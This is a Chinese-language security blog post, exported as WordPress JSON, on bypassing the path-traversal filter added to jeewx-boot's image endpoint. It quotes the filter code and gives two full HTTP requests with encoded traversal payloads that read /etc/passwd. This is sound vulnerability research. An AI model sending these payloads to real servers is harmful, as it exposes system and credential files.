{"id":4035,"date":"2025-10-21T15:06:35","date_gmt":"2025-10-21T07:06:35","guid":{"rendered":"https:\/\/fushuling.com\/?p=4035"},"modified":"2025-10-22T16:49:05","modified_gmt":"2025-10-22T08:49:05","slug":"%e8%bf%87%e5%ba%a6%e9%98%b2%e5%be%a1%e5%b8%a6%e6%9d%a5%e7%9a%84%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e7%bb%95%e8%bf%87","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/10\/21\/%e8%bf%87%e5%ba%a6%e9%98%b2%e5%be%a1%e5%b8%a6%e6%9d%a5%e7%9a%84%e8%b7%af%e5%be%84%e9%81%8d%e5%8e%86%e7%bb%95%e8%bf%87\/","title":{"rendered":"\u8fc7\u5ea6\u9632\u5fa1\u5e26\u6765\u7684\u8def\u5f84\u904d\u5386\u7ed5\u8fc7"},"content":{"rendered":"\n

\u524d\u8a00<\/h1>\n\n\n\n

\u6700\u8fd1\u8d76\u9879\u76eeDDL\u6bd4\u8f83\u5fd9\uff0c\u4e5f\u6ca1\u6709\u5565\u5199\u6587\u7ae0\u7684\u7075\u611f\uff0c\u8fd9\u91cc\u5c31\u5206\u4eab\u4e00\u4e2a\u6700\u8fd1\u9047\u5230\u7684\u6f0f\u6d1e\u3002\u4e4b\u524d\u770by4tacker\u7684\u535a\u5ba2\u63d0\u5230\u8fc7\u4ed6\u5f53\u65f6\u5229\u7528\u5f00\u53d1\u8005\u7684\u8fc7\u5ea6\u9632\u5fa1\u7ed5\u8fc7seacms\u8fc7\u6ee4\u5b9e\u73b0RCE\u7684\u4f8b\u5b50\uff0c\u8fd9\u6b21\u6211\u4e5f\u9047\u5230\u4e86\u4e2a\u7c7b\u4f3c\u7684\u6d1e\uff0c\u6c34\u4e00\u7bc7\u3002<\/p>\n\n\n\n

\u8001\u6d1e\u548c\u8865\u4e01<\/h1>\n\n\n\n

\u9879\u76ee\u662fhttps:\/\/github.com\/jeecgboot\/jeewx-boot\/<\/a>\uff0c\u662f jeecgboot \u4e0b\u9762\u7684\u4e00\u4e2a\u7ba1\u7406\u5e73\u53f0\uff0c\u4e0d\u8fc7\u4f3c\u4e4e\u4e5f\u4e0d\u7ef4\u62a4\u4e86\uff0c\u4e5f\u6ca1\u5565\u5371\u5bb3\u3002\u642d\u8d77\u6765\u6bd4\u8f83\u7b80\u5355\uff0c\u6211\u8bb0\u5f97\u5c31\u662f\u914d\u4e00\u4e0b\u6570\u636e\u5e93\u7136\u540e\u6539\u4e00\u4e0bjdbc\u53c2\u6570\uff0c\u6700\u540e IDEA \u4e00\u952e\u5c31\u80fd\u542f\u52a8\u3002<\/p>\n\n\n\n

19\u5e74\u7684\u65f6\u5019\u6709\u4e00\u4e2a\u5e08\u5085\u63d0\u4e86\u4e00\u4e2aissue: https:\/\/github.com\/jeecgboot\/jeewx-boot\/issues\/17<\/a>\uff0c\u63d0\u5230\u4e86 jeewx-boot \u5728\u540e\u53f0\u5b58\u5728\u4e00\u4e2a\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u6f0f\u6d1e<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u6f0f\u6d1e\u786e\u5b9e\u5f88\u7b80\u5355\uff0c\u5c31\u662f\u540e\u53f0\u6709\u4e2a\u8bfb\u6587\u4ef6\u7684\u63a5\u53e3\uff0c\u7136\u540e\u6ca1\u5bf9\u6587\u4ef6\u8def\u5f84\u505a\u9650\u5236\uff0c\u6240\u4ee5\u653b\u51fb\u8005\u53ef\u4ee5\u8bfb\u4efb\u610f\u6587\u4ef6\u3002\u7136\u540e\u4e24\u5e74\u540e\u76842021\u5e74\u5f00\u53d1\u8005\u624d\u60f3\u8d77\u6765\uff0c\u628a\u8fd9\u4e2a\u6d1e\u7ed9\u4fee\u4e86\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u4fee\u6cd5\u5c31\u662f\u52a0\u4e86\u4e2a\u8fc7\u6ee4\u51fd\u6570\uff0c\u628a\u8def\u5f84\u91cc\u7684\u4e00\u4e9b\u5371\u9669\u5b57\u7b26\u66ff\u6362\u4e3a\u7a7a\u4e86\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n
public static String getFileName(String fileName){\n        \/\/\u66ff\u6362\u4e0a\u4f20\u6587\u4ef6\u540d\u5b57\u7684\u7279\u6b8a\u5b57\u7b26\n        fileName = fileName.replace(\"=\",\"\").replace(\",\",\"\").replace(\"&\",\"\")\n                .replace(\"#\", \"\").replace(\"\u201c\", \"\").replace(\"\u201d\", \"\")\n                .replace(\"\/..\/\",\"\").replace(\"..\",\"\") .replace(\"\/.\/\",\"\") .replace(\".\/\",\"\");\n        \/\/\u66ff\u6362\u4e0a\u4f20\u6587\u4ef6\u540d\u5b57\u4e2d\u7684\u7a7a\u683c\n        fileName=fileName.replaceAll(\"\\\\s\",\"\");\n        return fileName;\n    }<\/code><\/pre>\n\n\n\n
\u5982\u679c\u5149\u770b\u4ed6\u8fd9\u4e2a\u8fc7\u6ee4\uff0c\u5176\u5b9e\u662f\u7ed5\u4e0d\u4e86\u7684\uff0c\u8fd9\u91cc\u628a\u70b9\u53f7\u7684\u7ec4\u5408\u65b9\u5f0f\u57fa\u672c\u4e0aban\u5b8c\u4e86\uff0c\u6709\u4e9b\u5e08\u5085\u53ef\u80fd\u4f1a\u60f3\u5230\u505aurl\u9274\u6743\u7ed5\u8fc7\u65f6\u7684payload\u6bd4\u5982 ..;\/<\/code> \u6216\u8005 %2e%2e\/<\/code>\uff0c\u5f88\u9057\u61be\u8fd9\u4e24\u79cd\u65b9\u5f0f\u90fd\u662f\u4e0d\u884c\u7684\u3002<\/p>\n\n\n\n
\u9996\u5148\uff0c\u5206\u53f7\u8fd9\u4e2atrick\u7684\u6765\u6e90\u5176\u5b9e\u662f RFC \u6587\u6863\u91cc\u5bf9\u4e8e URL \u8def\u5f84\u53c2\u6570\u7684\u89c4\u5b9a\uff0c\u6211\u5728\u6211\u4e4b\u524d\u8c08\u534e\u590ferp\u7684\u90a3\u51e0\u7bc7\u6587\u7ae0\u91cc\u5e94\u8be5\u63d0\u5230\u8fc7\uff0c\u5206\u53f7\u662f\u7528\u6765\u4f20\u53c2\u7684\uff0c\u6587\u4ef6\u8def\u5f84\u662f\u6587\u4ef6\u8def\u5f84\uff0cURL \u662f URL\uff0c\u4e8c\u8005\u4e0d\u53ef\u6df7\u4e3a\u4e00\u8c08\u3002<\/p>\n\n\n\n
\u5176\u6b21\uff0c\u60f3\u8981\u7528\u7f16\u7801\u7ed5\u7684\u8bdd\u6709\u70b9\u5c0f\u95ee\u9898\uff0crequest.getParameter(\"imgurl\")<\/code>\u83b7\u53d6\u7684\u503c\u662f URL \u89e3\u7801\u540e\u7684\uff0c\u5982\u679c\u6211\u4eec\u5355\u7eaf\u4f7f\u7528 \/%2e%2e\/<\/code>\uff0cimgurl<\/code> \u83b7\u5f97\u7684\u503c\u662f\u89e3\u7801\u540e\u7684\uff0c\u6240\u4ee5\u8fd8\u662f \/..\/<\/code> \uff0c\u8fd8\u662f\u4f1a\u88ab\u66ff\u6362\u7a7a\uff0c\u6ca1\u5565\u5dee\u522b\u3002\u6709\u4e9b\u5e08\u5085\u53ef\u80fd\u4f1a\u60f3\u5230\u5982\u679c\u6211\u628a %2e<\/code> \u518d\u7f16\u7801\u4e00\u6b21\u4f1a\u600e\u4e48\u6837\u5462\uff1f\u7528 \/%252e%252e\/<\/code> \u5462\uff1f<\/p>\n\n\n\n
\u8fd9\u65f6\u6211\u4eec\u7684 poc \u867d\u7136\u786e\u5b9e\u6ca1\u88ab\u66ff\u6362\uff0c\u4f46\u5b9e\u9645\u8bfb\u53d6\u7684\u6587\u4ef6\u8def\u5f84\u91cc\u4ed6\u662f %2e<\/code> \uff0c\u8fd8\u662f\u6ca1\u6cd5\u89e3\u6790\uff1a<\/p>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
How to bypass<\/h1>\n\n\n\n
\u65b9\u6cd5\u4e00<\/h2>\n\n\n\n
\u770b\u6587\u7ae0\u7684\u6807\u9898\u5927\u5bb6\u5e94\u8be5\u4e5f\u77e5\u9053\uff0c\u8fd9\u7bc7\u6587\u7ae0\u7684\u4e3b\u9898\u662f\u8fc7\u5ea6\u9632\u5fa1\u5e26\u6765\u7684\u8def\u5f84\u904d\u5386\u7ed5\u8fc7<\/em>\uff0c\u7a81\u7834\u53e3\u60f3\u5fc5\u5c31\u5728”\u8fc7\u5ea6\u9632\u5fa1”\u8fd9\u51e0\u4e2a\u5b57\u4e0a\u4e86\uff0c\u800c\u8fd9\u4e2a\u51fd\u6570\u552f\u4e00\u548c\u8fc7\u5ea6\u9632\u5fa1\u6cbe\u8fb9\u7684\u4ee3\u7801\u60f3\u6765\u5c31\u662f\u8fd9\u53e5\u4e86\uff1a<\/p>\n\n\n\n
\/\/\u66ff\u6362\u4e0a\u4f20\u6587\u4ef6\u540d\u5b57\u4e2d\u7684\u7a7a\u683c\nfileName=fileName.replaceAll(\"\\\\s\",\"\");<\/code><\/pre>\n\n\n\n
\u5728\u4e4b\u524d\u7684\u903b\u8f91\u91cc\u6ca1\u6709\u66ff\u6362\u6587\u4ef6\u540d\u4e2d\u7684\u7a7a\u683c\u8fd9\u53e5\u4ee3\u7801\uff0c\u73b0\u5728\u5374\u83ab\u540d\u5176\u5999\u7684\u52a0\u4e0a\u4e86\u3002\u5f00\u53d1\u8005\u5c06\u7a7a\u683c\u66ff\u6362\u4e3a\u7a7a\u7684\u64cd\u4f5c\u53cd\u800c\u8ba9\u4ed6\u4e4b\u524d\u7684\u6240\u6709\u8fc7\u6ee4\u90fd\u5931\u6548\u4e86\u3002\u8bd5\u60f3\u4e00\u4e0b\uff0c\u5982\u679c\u6211\u4eec\u4f20\u5165\u7684poc\u662f \/%20.%20.%20\/<\/code>\uff0c\u7528\u7a7a\u683c\u5206\u9694\u70b9\u53f7\u4e0e\u70b9\u53f7\u3001\u70b9\u53f7\u4e0e\u659c\u6760\uff0c\u8fd9\u81ea\u7136\u662f\u4e00\u4e2a\u4e0d\u4f1a\u88ab\u8fc7\u6ee4\u7684\u8def\u5f84\uff0c\u800c\u5f53\u4ee3\u7801\u6267\u884c\u5230\u6700\u540e\u4e00\u53e5\uff0c\u5f00\u53d1\u8005\u5c06\u7a7a\u683c\u66ff\u6362\u4e3a\u7a7a\uff0c\u672c\u6765\u89e3\u6790\u4e0d\u4e86\u7684 \/ . . \/<\/code> \u4f1a\u53d8\u6210 \/..\/<\/code>\uff0c\u4e0d\u5c31\u518d\u6b21\u5b9e\u73b0\u4e86\u8def\u5f84\u7a7f\u8d8a\u3002<\/p>\n\n\n\n
\u672c\u5730\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
GET \/goldeneggs\/back\/wxActGoldeneggsPrizes\/getImgUrl?imgurl=\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/%20.%20.%20\/etc\/passwd HTTP\/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko\/20100101 Firefox\/144.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nSec-GPC: 1\nConnection: close\nCookie: JSESSIONID=EC0E035DB5D8106D78191AD7AC38340C\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
So easy \ud83d\ude09 <\/p>\n\n\n\n
\u65b9\u6cd5\u4e8c<\/h2>\n\n\n\n
\u56de\u770b\u8fd9\u4e2a\u8fc7\u6ee4\u51fd\u6570\uff0c\u5982\u679c\u6ca1\u6709\u8fd9\u53e5fileName=fileName.replaceAll(\"\\\\s\",\"\")<\/code>\uff0c\u53ea\u6709<\/p>\n\n\n\n
public static String getFileName(String fileName){\n        \/\/\u66ff\u6362\u4e0a\u4f20\u6587\u4ef6\u540d\u5b57\u7684\u7279\u6b8a\u5b57\u7b26\n        fileName = fileName.replace(\"=\",\"\").replace(\",\",\"\").replace(\"&\",\"\")\n                .replace(\"#\", \"\").replace(\"\u201c\", \"\").replace(\"\u201d\", \"\")\n                .replace(\"\/..\/\",\"\").replace(\"..\",\"\") .replace(\"\/.\/\",\"\") .replace(\".\/\",\"\");\n        return fileName;\n    }<\/code><\/pre>\n\n\n\n
\u8fd9\u79cd\u60c5\u51b5\u4e0b\u8fd8\u80fd\u7ed5\u8fc7\u5224\u65ad\u5417\uff1f<\/p>\n\n\n\n
\u5176\u5b9e\u8fd8\u662f\u53ef\u4ee5\u7684\uff0c\u81f3\u5c11 windows<\/code> \u73af\u5883\u4e0b\u662f\u6ca1\u95ee\u9898\u7684\uff0c\u6211\u4eec\u77e5\u9053\u5728 windows<\/code> \u91cc\u5176\u5b9e\u8fd8\u53ef\u4ee5\u7528 \\..\\<\/code> \u7684\u65b9\u5f0f\u8fdb\u884c\u8def\u5f84\u7a7f\u8d8a\uff0c\u4e0d\u8fc7\u4e00\u4e2a\u5c0f\u95ee\u9898\u662f\u5f53\u524d\u7684\u903b\u8f91\u4e0d\u5141\u8bb8\u70b9\u53f7\u548c\u70b9\u53f7\u540c\u65f6\u51fa\u73b0\uff0c\u4f1a\u628a ..<\/code> \u66ff\u6362\u4e3a\u7a7a\uff0c\u9664\u6b64\u4e4b\u5916\u8fd8\u6709\u4e00\u4e9b\u5176\u4ed6\u66ff\u6362\u4e3a\u7a7a\u7684\u64cd\u4f5c\uff0c\u8fd9\u4e2a\u903b\u8f91\u770b\u4f3c\u963b\u6b62\u4e86\u6211\u4eec\u8fdb\u884c\u8def\u5f84\u7a7f\u8d8a\uff0c\u5176\u5b9e\u53cd\u800c\u5e2e\u52a9\u4e86\u6211\u4eec\u3002\u7a81\u7834\u53e3\u5c31\u5728\u66ff\u6362\u4e3a\u7a7a<\/strong>\u8fd9\u91cc\uff0c\u6211\u4eec\u5176\u5b9e\u53ea\u9700\u8981\u627e\u4e00\u4e2a\u4f1a\u88ab\u66ff\u6362\u4e3a\u7a7a\u7684\u5b57\u7b26\u7ec4\u5408\u653e\u5728\u70b9\u53f7\u548c\u70b9\u53f7\u4e4b\u95f4\uff0c\u7136\u540e\u7b49\u8fc7\u6ee4\u903b\u8f91\u628a\u8fd9\u4e2a\u5b57\u7b26\u7ec4\u5408\u66ff\u6362\u4e3a\u7a7a\uff0c \u6700\u540e\u6211\u4eec\u5c31\u53c8\u5f97\u5230  \\..\\<\/code> \u4e86\u3002<\/p>\n\n\n\n
\u6bd4\u5982\u6211\u4eec\u4f20\u5165 %5c.\/.\/.%5c<\/code> \uff0c\u7ecf\u8fc7\u4e00\u6b21\u89e3\u7801\uff0c\u4f20\u5165\u7684\u8def\u5f84\u5c31\u53d8\u6210 \\.\/.\/.\\<\/code> \uff0c\u7136\u540e\u4ed6\u8fd9\u4e2a\u8fc7\u6ee4\u8fd9\u91cc\u4f1a\u628a \/.\/<\/code> \u66ff\u6362\u4e3a\u7a7a\uff0c\u8fd9\u6837\u6211\u4eec\u5c31\u62ff\u5230 \\..\\<\/code> \u4e86\uff0c\u672c\u5730\u5c1d\u8bd5\u4e00\u4e0b\uff1a<\/p>\n\n\n\n
GET \/goldeneggs\/back\/wxActGoldeneggsPrizes\/getImgUrl?imgurl=%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/%5c.\/.\/.%5c\/etc\/passwd HTTP\/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:144.0) Gecko\/20100101 Firefox\/144.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\nAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2\nAccept-Encoding: gzip, deflate, br\nSec-GPC: 1\nConnection: close\nCookie: JSESSIONID=4487956A304CEE6E69384BA5A0E912C2\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: none\nSec-Fetch-User: ?1\nPriority: u=0, i\n\n<\/code><\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
Bypass again\ud83d\ude0b<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
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